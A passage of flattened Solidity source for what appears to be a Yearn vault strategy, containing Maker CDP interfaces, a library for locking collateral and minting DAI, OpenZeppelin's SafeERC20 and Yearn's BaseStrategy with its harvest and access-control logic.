(uint256); function ilks(bytes32) external view returns ( uint256, uint256, uint256, uint256, uint256 ); function dai(address) external view returns (uint256); function urns(bytes32, address) external view returns (uint256, uint256); function frob( bytes32, address, address, address, int256, int256 ) external; function hope(address) external; function move( address, address, uint256 ) external; } // Part: yearn/[email protected]/HealthCheck interface HealthCheck { function check( uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding, uint256 totalDebt ) external view returns (bool); } // Part: DaiJoinLike interface DaiJoinLike { function vat() external returns (VatLike); function dai() external returns (GemLike); function join(address, uint256) external payable; function exit(address, uint256) external; } // Part: GemJoinLike interface GemJoinLike { function dec() external returns (uint256); function gem() external returns (GemLike); function join(address, uint256) external payable; function exit(address, uint256) external; } // Part: IVault interface IVault is IERC20 { function token() external view returns (address); function decimals() external view returns (uint256); function deposit() external; function pricePerShare() external view returns (uint256); function withdraw() external returns (uint256); function withdraw(uint256 amount) external returns (uint256); function withdraw( uint256 amount, address account, uint256 maxLoss ) external returns (uint256); function availableDepositLimit() external view returns (uint256); } // Part: OpenZeppelin/[email protected]/SafeERC20 /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Part: yearn/[email protected]/VaultAPI interface VaultAPI is IERC20 { function name() external view returns (string calldata); function symbol() external view returns (string calldata); function decimals() external view returns (uint256); function apiVersion() external pure returns (string memory); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); // NOTE: Vyper produces multiple signatures for a given function with "default" args function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); // NOTE: Vyper produces multiple signatures for a given function with "default" args function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function depositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); /** * View how much the Vault would increase this Strategy's borrow limit, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function creditAvailable() external view returns (uint256); /** * View how much the Vault would like to pull back from the Strategy, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function debtOutstanding() external view returns (uint256); /** * View how much the Vault expect this Strategy to return at the current * block, based on its present performance (since its last report). Can be * used to determine expectedReturn in your Strategy. */ function expectedReturn() external view returns (uint256); /** * This is the main contact point where the Strategy interacts with the * Vault. It is critical that this call is handled as intended by the * Strategy. Therefore, this function will be called by BaseStrategy to * make sure the integration is correct. */ function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /** * This function should only be used in the scenario where the Strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits its position as fast as possible, such as a sudden change in * market conditions leading to losses, or an imminent failure in an * external dependency. */ function revokeStrategy() external; /** * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. */ function governance() external view returns (address); /** * View the management address of the Vault to assert privileged functions * can only be called by management. The Strategy serves the Vault, so it * is subject to management defined by the Vault. */ function management() external view returns (address); /** * View the guardian address of the Vault to assert privileged functions * can only be called by guardian. The Strategy serves the Vault, so it * is subject to guardian defined by the Vault. */ function guardian() external view returns (address); } // Part: MakerDaiDelegateLib library MakerDaiDelegateLib { using SafeMath for uint256; // Units used in Maker contracts uint256 internal constant WAD = 10**18; uint256 internal constant RAY = 10**27; // Do not attempt to mint DAI if there are less than MIN_MINTABLE available uint256 internal constant MIN_MINTABLE = 500000 * WAD; // Maker vaults manager ManagerLike internal constant manager = ManagerLike(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); // Token Adapter Module for collateral DaiJoinLike internal constant daiJoin = DaiJoinLike(0x9759A6Ac90977b93B58547b4A71c78317f391A28); // Liaison between oracles and core Maker contracts SpotLike internal constant spotter = SpotLike(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3); // Part of the Maker Rates Module in charge of accumulating stability fees JugLike internal constant jug = JugLike(0x19c0976f590D67707E62397C87829d896Dc0f1F1); // Debt Ceiling Instant Access Module DssAutoLine internal constant autoLine = DssAutoLine(0xC7Bdd1F2B16447dcf3dE045C4a039A60EC2f0ba3); // ----------------- PUBLIC FUNCTIONS ----------------- // Creates an UrnHandler (cdp) for a specific ilk and allows to manage it via the internal // registry of the manager. function openCdp(bytes32 ilk) public returns (uint256) { return manager.open(ilk, address(this)); } // Moves cdpId collateral balance and debt to newCdpId. function shiftCdp(uint256 cdpId, uint256 newCdpId) public { manager.shift(cdpId, newCdpId); } // Transfers the ownership of cdp to recipient address in the manager registry. function transferCdp(uint256 cdpId, address recipient) public { manager.give(cdpId, recipient); } // Allow/revoke manager access to a cdp function allowManagingCdp( uint256 cdpId, address user, bool isAccessGranted ) public { manager.cdpAllow(cdpId, user, isAccessGranted ? 1 : 0); } // Deposits collateral (gem) and mints DAI // Adapted from https://github.com/makerdao/dss-proxy-actions/blob/master/src/DssProxyActions.sol#L639 function lockGemAndDraw( address gemJoin, uint256 cdpId, uint256 collateralAmount, uint256 daiToMint, uint256 totalDebt ) public { address urn = manager.urns(cdpId); VatLike vat = VatLike(manager.vat()); bytes32 ilk = manager.ilks(cdpId); if (daiToMint > 0) { daiToMint = _forceMintWithinLimits(vat, ilk, daiToMint, totalDebt); } // Takes token amount from the strategy and joins into the vat if (collateralAmount > 0) { GemJoinLike(gemJoin).join(urn, collateralAmount); } // Locks token amount into the CDP and generates debt manager.frob( cdpId, int256(convertTo18(gemJoin, collateralAmount)), _getDrawDart(vat, urn, ilk, daiToMint) ); // Moves the DAI amount to the strategy. Need to convert dai from [wad] to [rad] manager.move(cdpId, address(this), daiToMint.mul(1e27)); // Allow access to DAI balance in the vat vat.hope(address(daiJoin)); // Exits DAI to the user's wallet as a token daiJoin.exit(address(this), daiToMint); } // Returns DAI to decrease debt and attempts to unlock any amount of collateral // Adapted from https://github.com/makerdao/dss-proxy-actions/blob/master/src/DssProxyActions.sol#L758 function wipeAndFreeGem( address gemJoin, uint256 cdpId, uint256 collateralAmount, uint256 daiToRepay ) public { address urn = manager.urns(cdpId); // Joins DAI amount into the vat if (daiToRepay > 0) { daiJoin.join(urn, daiToRepay); } uint256 wadC = convertTo18(gemJoin, collateralAmount); // Paybacks debt to the CDP and unlocks token amount from it manager.frob( cdpId, -int256(wadC), _getWipeDart( VatLike(manager.vat()), VatLike(manager.vat()).dai(urn), urn, manager.ilks(cdpId) ) ); // Moves the amount from the CDP urn to proxy's address manager.flux(cdpId, address(this), collateralAmount); // Exits token amount to the strategy as a token GemJoinLike(gemJoin).exit(address(this), collateralAmount); } function debtFloor(bytes32 ilk) public view returns (uint256) { // uint256 Art; // Total Normalised Debt [wad] // uint256 rate; // Accumulated Rates [ray] // uint256 spot; // Price with Safety Margin [ray] // uint256 line; // Debt Ceiling [rad] // uint256 dust; // Urn Debt Floor [rad] (, , , , uint256 dust) = VatLike(manager.vat()).ilks(ilk); return dust.div(RAY); } function debtForCdp(uint256 cdpId, bytes32 ilk) public view returns (uint256) { address urn = manager.urns(cdpId); VatLike vat = VatLike(manager.vat()); // Normalized outstanding stablecoin debt [wad] (, uint256 art) = vat.urns(ilk, urn); // Gets actual rate from the vat [ray] (, uint256 rate, , , ) = vat.ilks(ilk); // Return the present value of the debt with accrued fees return art.mul(rate).div(RAY); } function balanceOfCdp(uint256 cdpId, bytes32 ilk) public view returns (uint256) { address urn = manager.urns(cdpId); VatLike vat = VatLike(manager.vat()); (uint256 ink, ) = vat.urns(ilk, urn); return ink; } // Returns value of DAI in the reference asset (e.g. $1 per DAI) function getDaiPar() public view returns (uint256) { // Value is returned in ray (10**27) return spotter.par(); } // Liquidation ratio for the given ilk returned in [ray] // https://github.com/makerdao/dss/blob/master/src/spot.sol#L45 function getLiquidationRatio(bytes32 ilk) public view returns (uint256) { (, uint256 liquidationRatio) = spotter.ilks(ilk); return liquidationRatio; } function getSpotPrice(bytes32 ilk) public view returns (uint256) { VatLike vat = VatLike(manager.vat()); // spot: collateral price with safety margin returned in [ray] (, , uint256 spot, , ) = vat.ilks(ilk); uint256 liquidationRatio = getLiquidationRatio(ilk); // convert ray*ray to wad return spot.mul(liquidationRatio).div(RAY * 1e9); } function getPessimisticRatioOfCdpWithExternalPrice( uint256 cdpId, bytes32 ilk, uint256 externalPrice, uint256 collateralizationRatioPrecision ) public view returns (uint256) { // Use pessimistic price to determine the worst ratio possible uint256 price = Math.min(getSpotPrice(ilk), externalPrice); require(price > 0); // dev: invalid price uint256 totalCollateralValue = balanceOfCdp(cdpId, ilk).mul(price).div(WAD); uint256 totalDebt = debtForCdp(cdpId, ilk); // If for some reason we do not have debt (e.g: deposits under dust) // make sure the operation does not revert if (totalDebt == 0) { totalDebt = 1; } return totalCollateralValue.mul(collateralizationRatioPrecision).div( totalDebt ); } // Make sure we update some key content in Maker contracts // These can be updated by anyone without authenticating function keepBasicMakerHygiene(bytes32 ilk) public { // Update accumulated stability fees jug.drip(ilk); // Update the debt ceiling using DSS Auto Line autoLine.exec(ilk); } function daiJoinAddress() public view returns (address) { return address(daiJoin); } // Checks if there is at least MIN_MINTABLE dai available to be minted function isDaiAvailableToMint(bytes32 ilk) public view returns (bool) { VatLike vat = VatLike(manager.vat()); (uint256 Art, uint256 rate, , uint256 line, ) = vat.ilks(ilk); // Total debt in [rad] (wad * ray) uint256 vatDebt = Art.mul(rate); if (vatDebt >= line || line.sub(vatDebt).div(RAY) < MIN_MINTABLE) { return false; } return true; } // ----------------- INTERNAL FUNCTIONS ----------------- // This function repeats some code from daiAvailableToMint because it needs // to handle special cases such as not leaving debt under dust function _forceMintWithinLimits( VatLike vat, bytes32 ilk, uint256 desiredAmount, uint256 debtBalance ) internal view returns (uint256) { // uint256 Art; // Total Normalised Debt [wad] // uint256 rate; // Accumulated Rates [ray] // uint256 spot; // Price with Safety Margin [ray] // uint256 line; // Debt Ceiling [rad] // uint256 dust; // Urn Debt Floor [rad] (uint256 Art, uint256 rate, , uint256 line, uint256 dust) = vat.ilks(ilk); // Total debt in [rad] (wad * ray) uint256 vatDebt = Art.mul(rate); // Make sure we are not over debt ceiling (line) or under debt floor (dust) if ( vatDebt >= line || (desiredAmount.add(debtBalance) <= dust.div(RAY)) ) { return 0; } uint256 maxMintableDAI = line.sub(vatDebt).div(RAY); // Avoid edge cases with low amounts of available debt if (maxMintableDAI < MIN_MINTABLE) { return 0; } // Prevent rounding errors if (maxMintableDAI > WAD) { maxMintableDAI = maxMintableDAI - WAD; } return Math.min(maxMintableDAI, desiredAmount); } // Adapted from https://github.com/makerdao/dss-proxy-actions/blob/master/src/DssProxyActions.sol#L161 function _getDrawDart( VatLike vat, address urn, bytes32 ilk, uint256 wad ) internal returns (int256 dart) { // Updates stability fee rate uint256 rate = jug.drip(ilk); // Gets DAI balance of the urn in the vat uint256 dai = vat.dai(urn); // If there was already enough DAI in the vat balance, just exits it without adding more debt if (dai < wad.mul(RAY)) { // Calculates the needed dart so together with the existing dai in the vat is enough to exit wad amount of DAI tokens dart = int256(wad.mul(RAY).sub(dai).div(rate)); // This is neeeded due to lack of precision. It might need to sum an extra dart wei (for the given DAI wad amount) dart = uint256(dart).mul(rate) < wad.mul(RAY) ? dart + 1 : dart; } } // Adapted from https://github.com/makerdao/dss-proxy-actions/blob/master/src/DssProxyActions.sol#L183 function _getWipeDart( VatLike vat, uint256 dai, address urn, bytes32 ilk ) internal view returns (int256 dart) { // Gets actual rate from the vat (, uint256 rate, , , ) = vat.ilks(ilk); // Gets actual art value of the urn (, uint256 art) = vat.urns(ilk, urn); // Uses the whole dai balance in the vat to reduce the debt dart = int256(dai / rate); // Checks the calculated dart is not higher than urn.art (total debt), otherwise uses its value dart = uint256(dart) <= art ? -dart : -int256(art); } function convertTo18(address gemJoin, uint256 amt) internal returns (uint256 wad) { // For those collaterals that have less than 18 decimals precision we need to do the conversion before // passing to frob function // Adapters will automatically handle the difference of precision wad = amt.mul(10**(18 - GemJoinLike(gemJoin).dec())); } } // Part: yearn/[email protected]/BaseStrategy /** * @title Yearn Base Strategy * @author yearn.finance * @notice * BaseStrategy implements all of the required functionality to interoperate * closely with the Vault contract. This contract should be inherited and the * abstract methods implemented to adapt the Strategy to the particular needs * it has to create a return. * * Of special interest is the relationship between `harvest()` and * `vault.report()'. `harvest()` may be called simply because enough time has * elapsed since the last report, and not because any funds need to be moved * or positions adjusted. This is critical so that the Vault may maintain an * accurate picture of the Strategy's performance. See `vault.report()`, * `harvest()`, and `harvestTrigger()` for further details. */ abstract contract BaseStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; string public metadataURI; // health checks bool public doHealthCheck; address public healthCheck; /** * @notice * Used to track which version of `StrategyAPI` this Strategy * implements. * @dev The Strategy's version must match the Vault's `API_VERSION`. * @return A string which holds the current API version of this contract. */ function apiVersion() public pure returns (string memory) { return "0.4.3"; } /** * @notice This Strategy's name. * @dev * You can use this field to manage the "version" of this Strategy, e.g. * `StrategySomethingOrOtherV1`. However, "API Version" is managed by * `apiVersion()` function above. * @return This Strategy's name. */ function name() external view virtual returns (string memory); /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards Yearn's TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * Also note that this value is used to determine the total assets under management by this * strategy, for the purposes of computing the management fee in `Vault` * @return * The amount of assets this strategy manages that should not be included in Yearn's Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external view virtual returns (uint256) { return 0; } VaultAPI public vault; address public strategist; address public rewards; address public keeper; IERC20 public want; // So indexers can keep track of this event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); event UpdatedStrategist(address newStrategist); event UpdatedKeeper(address newKeeper); event UpdatedRewards(address rewards); event UpdatedMinReportDelay(uint256 delay); event UpdatedMaxReportDelay(uint256 delay); event UpdatedProfitFactor(uint256 profitFactor); event UpdatedDebtThreshold(uint256 debtThreshold); event EmergencyExitEnabled(); event UpdatedMetadataURI(string metadataURI); // The minimum number of seconds between harvest calls. See // `setMinReportDelay()` for more details. uint256 public minReportDelay; // The maximum number of seconds between harvest calls. See // `setMaxReportDelay()` for more details. uint256 public maxReportDelay; // The minimum multiple that `callCost` must be above the credit/profit to // be "justifiable". See `setProfitFactor()` for more details. uint256 public profitFactor; // Use this to adjust the threshold at which running a debt causes a // harvest trigger. See `setDebtThreshold()` for more details. uint256 public debtThreshold; // See note on `setEmergencyExit()`. bool public emergencyExit; // modifiers modifier onlyAuthorized() { require(msg.sender == strategist || msg.sender == governance(), "!authorized"); _; } modifier onlyEmergencyAuthorized() { require( msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyStrategist() { require(msg.sender == strategist, "!strategist"); _; } modifier onlyGovernance() { require(msg.sender == governance(), "!authorized"); _; } modifier onlyKeepers() { require( msg.sender == keeper || msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyVaultManagers() { require(msg.sender == vault.management() || msg.sender == governance(), "!authorized"); _; } constructor(address _vault) public { _initialize(_vault, msg.sender, msg.sender, msg.sender); } /** * @notice * Initializes the Strategy, this is called only once, when the * contract is deployed. * @dev `_vault` should implement `VaultAPI`. * @param _vault The address of the Vault responsible for this Strategy. * @param _strategist The address to assign as `strategist`. * The strategist is able to change the reward address * @param _rewards The address to use for pulling rewards. * @param _keeper The adddress of the _keeper. _keeper * can harvest and tend a strategy. */ function _initialize( address _vault, address _strategist, address _rewards, address _keeper ) internal { require(address(want) == address(0), "Strategy already initialized"); vault = VaultAPI(_vault); want = IERC20(vault.token()); want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas) strategist = _strategist; rewards = _rewards; keeper = _keeper; // initialize variables minReportDelay = 0; maxReportDelay = 86400; profitFactor = 100; debtThreshold = 0; vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled } function setHealthCheck(address _healthCheck) external onlyVaultManagers { healthCheck = _healthCheck; } function setDoHealthCheck(bool _doHealthCheck) external onlyVaultManagers { doHealthCheck = _doHealthCheck; } /** * @notice * Used to change `strategist`. * * This may only be called by governance or the existing strategist. * @param _strategist The new address to assign as `strategist`. */ function setStrategist(address _strategist) external onlyAuthorized { require(_strategist != address(0)); strategist = _strategist; emit UpdatedStrategist(_strategist); } /** * @notice * Used to change `keeper`. * * `keeper` is the only address that may call `tend()` or `harvest()`, * other than `governance()` or `strategist`. However, unlike * `governance()` or `strategist`, `keeper` may *only* call `tend()` * and `harvest()`, and no other authorized functions, following the * principle of least privilege. * * This may only be called by governance or the strategist. * @param _keeper The new address to assign as `keeper`. */ function setKeeper(address _keeper) external onlyAuthorized { require(_keeper != address(0)); keeper = _keeper; emit UpdatedKeeper(_keeper); } /** * @notice * Used to change `rewards`. EOA or smart contract which has the permission * to pull rewards from the vault. * * This may only be called by the strategist. * @param _rewards The address to use for pulling rewards. */ function setRewards(address _rewards) external onlyStrategist { require(_rewards != address(0)); vault.approve(rewards, 0); rewards = _rewards; vault.approve(rewards, uint256(-1)); emit UpdatedRewards(_rewards); } /** * @notice * Used to change `minReportDelay`. `minReportDelay` is the minimum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the minimum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The minimum number of seconds to wait between harvests. */ function setMinReportDelay(uint256 _delay) external onlyAuthorized { minReportDelay = _delay; emit UpdatedMinReportDelay(_delay); } /** * @notice * Used to change `maxReportDelay`. `maxReportDelay` is the maximum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the maximum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The maximum number of seconds to wait between harvests. */ function setMaxReportDelay(uint256 _delay) external onlyAuthorized { maxReportDelay = _delay; emit UpdatedMaxReportDelay(_delay); } /** * @notice * Used to change `profitFactor`. `profitFactor` is used to determine * if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _profitFactor A ratio to multiply anticipated * `harvest()` gas cost against. */ function setProfitFactor(uint256 _profitFactor) external onlyAuthorized { profitFactor = _profitFactor; emit UpdatedProfitFactor(_profitFactor); } /** * @notice * Sets how far the Strategy can go into loss without a harvest and report * being required. * * By default this is 0, meaning any losses would cause a harvest which * will subsequently report the loss to the Vault for tracking. (See * `harvestTrigger()` for more details.) * * This may only be called by governance or the strategist. * @param _debtThreshold How big of a loss this Strategy may carry without * being required to report to the Vault. */ function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized { debtThreshold = _debtThreshold; emit UpdatedDebtThreshold(_debtThreshold); } /** * @notice * Used to change `metadataURI`. `metadataURI` is used to store the URI * of the file describing the strategy. * * This may only be called by governance or the strategist. * @param _metadataURI The URI that describe the strategy. */ function setMetadataURI(string calldata _metadataURI) external onlyAuthorized { metadataURI = _metadataURI; emit UpdatedMetadataURI(_metadataURI); } /** * Resolve governance address from Vault contract, used to make assertions * on protected functions in the Strategy. */ function governance() internal view returns (address) { return vault.governance(); } /** * @notice * Provide an accurate conversion from `_amtInWei` (denominated in wei) * to `want` (using the native decimal characteristics of `want`). * @dev * Care must be taken when working with decimals to assure that the conversion * is compatible. As an example: * * given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals), * with USDC/ETH = 1800, this should give back 1800000000 (180 USDC) * * @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want` * @return The amount in `want` of `_amtInEth` converted to `want` **/ function ethToWant(uint256 _amtInWei) public view virtual returns (uint256); /** * @notice * Provide an accurate estimate for the total amount of assets * (principle + return) that this Strategy is currently managing, * denominated in terms of `want` tokens. * * This total should be "realizable" e.g. the total value that could * *actually* be obtained from this Strategy if it were to divest its * entire position based on current on-chain conditions. * @dev * Care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through * flashloan attacks, oracle manipulations, or other DeFi attack * mechanisms). * * It is up to governance to use this function to correctly order this * Strategy relative to its peers in the withdrawal queue to minimize * losses for the Vault based on sudden withdrawals. This value should be * higher than the total debt of the Strategy and higher than its expected * value to be "safe". * @return The estimated total assets in this Strategy. */ function estimatedTotalAssets() public view virtual returns (uint256); /* * @notice * Provide an indication of whether this strategy is currently "active" * in that it is managing an active position, or will manage a position in * the future. This should correlate to `harvest()` activity, so that Harvest * events can be tracked externally by indexing agents. * @return True if the strategy is actively managing a position. */ function isActive() public view returns (bool) { return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0; } /** * Perform any Strategy unwinding or other calls necessary to capture the * "free return" this Strategy has generated since the last time its core * position(s) were adjusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and * should be optimized to minimize losses as much as possible. * * This method returns any realized profits and/or realized losses * incurred, and should return the total amounts of profits/losses/debt * payments (in `want` tokens) for the Vault's accounting (e.g. * `want.balanceOf(this) >= _debtPayment + _profit`). * * `_debtOutstanding` will be 0 if the Strategy is not past the configured * debt limit, otherwise its value will be how far past the debt limit * the Strategy is. The Strategy's debt limit is configured in the Vault. * * NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. * It is okay for it to be less than `_debtOutstanding`, as that * should only used as a guide for how much is left to pay back. * Payments should be made to minimize loss from slippage, debt, * withdrawal fees, etc. * * See `vault.debtOutstanding()`. */ function prepareReturn(uint256 _debtOutstanding) internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ); /** * Perform any adjustments to the core position(s) of this Strategy given * what change the Vault made in the "investable capital" available to the * Strategy. Note that all "free capital" in the Strategy after the report * was made is available for reinvestment. Also note that this number * could be 0, and you should handle that scenario accordingly. * * See comments regarding `_debtOutstanding` on `prepareReturn()`. */ function adjustPosition(uint256 _debtOutstanding) internal virtual; /** * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, * irregardless of slippage. Any excess will be re-invested with `adjustPosition()`. * This function should return the amount of `want` tokens made available by the * liquidation. If there is a difference between them, `_loss` indicates whether the * difference is due to a realized loss, or if there is some other sitution at play * (e.g. locked funds) where the amount made available is less than what is needed. * * NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained */ function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss); /** * Liquidate everything and returns the amount that got freed. * This function is used during emergency exit instead of `prepareReturn()` to * liquidate all of the Strategy's positions back to the Vault. */ function liquidateAllPositions() internal virtual returns (uint256 _amountFreed); /** * @notice * Provide a signal to the keeper that `tend()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `tend()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `tend()` is not called * shortly, then this can return `true` even if the keeper might be * "at a loss" (keepers are always reimbursed by Yearn). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `harvestTrigger()` should never return `true` at the same * time. * @param callCostInWei The keeper's estimated gas cost to call `tend()` (in wei). * @return `true` if `tend()` should be called, `false` otherwise. */ function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) { // We usually don't need tend, but if there are positions that need // active maintainence, overriding this function is how you would // signal for that. // If your implementation uses the cost of the call in want, you can // use uint256 callCost = ethToWant(callCostInWei); return false; } /** * @notice * Adjust the Strategy's position. The purpose of tending isn't to * realize gains, but to maximize yield by reinvesting any returns. * * See comments on `adjustPosition()`. * * This may only be called by governance, the strategist, or the keeper. */ function tend() external onlyKeepers { // Don't take profits with this call, but adjust for better gains adjustPosition(vault.debtOutstanding()); } /** * @notice * Provide a signal to the keeper that `harvest()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `harvest()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `harvest()` is not called * shortly, then this can return `true` even if the keeper might be "at a * loss" (keepers are always reimbursed by Yearn). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `tendTrigger` should never return `true` at the * same time. * * See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the * strategist-controlled parameters that will influence whether this call * returns `true` or not. These parameters will be used in conjunction * with the parameters reported to the Vault (see `params`) to determine * if calling `harvest()` is merited. * * It is expected that an external system will check `harvestTrigger()`. * This could be a script run off a desktop or cloud bot (e.g. * https://github.com/iearn-finance/yearn-vaults/blob/main/scripts/keep.py), * or via an integration with the Keep3r network (e.g. * https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol). * @param callCostInWei The keeper's estimated gas cost to call `harvest()` (in wei). * @return `true` if `harvest()` should be called, `false` otherwise. */ function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) { uint256 callCost = ethToWant(callCostInWei); StrategyParams memory params = vault.strategies(address(this)); // Should not trigger if Strategy is not activated if (params.activation == 0) return false; // Should not trigger if we haven't waited long enough since previous harvest if (block.timestamp.sub(params.lastReport) < minReportDelay) return false; // Should trigger if hasn't been called in a while if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is based on deposits, it makes sense to guard against large // changes to the value from triggering a harvest directly through user // behavior. This should ensure reasonable resistance to manipulation // from user-initiated withdrawals as the outstanding debt fluctuates. uint256 outstanding = vault.debtOutstanding(); if (outstanding > debtThreshold) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); // Trigger if we have a loss to report if (total.add(debtThreshold) < params.totalDebt) return true; uint256 profit = 0; if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost // is <N% of value moved) uint256 credit = vault.creditAvailable(); return (profitFactor.mul(callCost) < credit.add(profit)); } /** * @notice * Harvests the Strategy, recognizing any profits or losses and adjusting * the Strategy's position. * * In the rare case the Strategy is in emergency shutdown, this will exit * the Strategy's position. * * This may only be called by governance, the strategist, or the keeper. * @dev * When `harvest()` is called, the Strategy reports to the Vault (via * `vault.report()`), so in some cases `harvest()` must be called in order * to take in profits, to borrow newly available funds from the Vault, or * otherwise adjust its position. In other cases `harvest()` must be * called to report to the Vault on the Strategy's position, especially if * any losses have occurred. */ function harvest() external onlyKeepers { uint256 profit = 0; uint256 loss = 0; uint256 debtOutstanding = vault.debtOutstanding(); uint256 debtPayment = 0; if (emergencyExit) { // Free up as much capital as possible uint256 amountFreed = liquidateAllPositions(); if (amountFreed < debtOutstanding) { loss = debtOutstanding.sub(amountFreed); } else if (amountFreed > debtOutstanding) { profit = amountFreed.sub(debtOutstanding); } debtPayment = debtOutstanding.sub(loss); } else { // Free up returns for Vault to pull (profit, loss, debtPayment) = prepareReturn(debtOutstanding); } // Allow Vault to take up to the "harvested" balance of this contract, // which is the amount it has earned since the last time it reported to // the Vault. uint256 totalDebt = vault.strategies(address(this)).totalDebt; 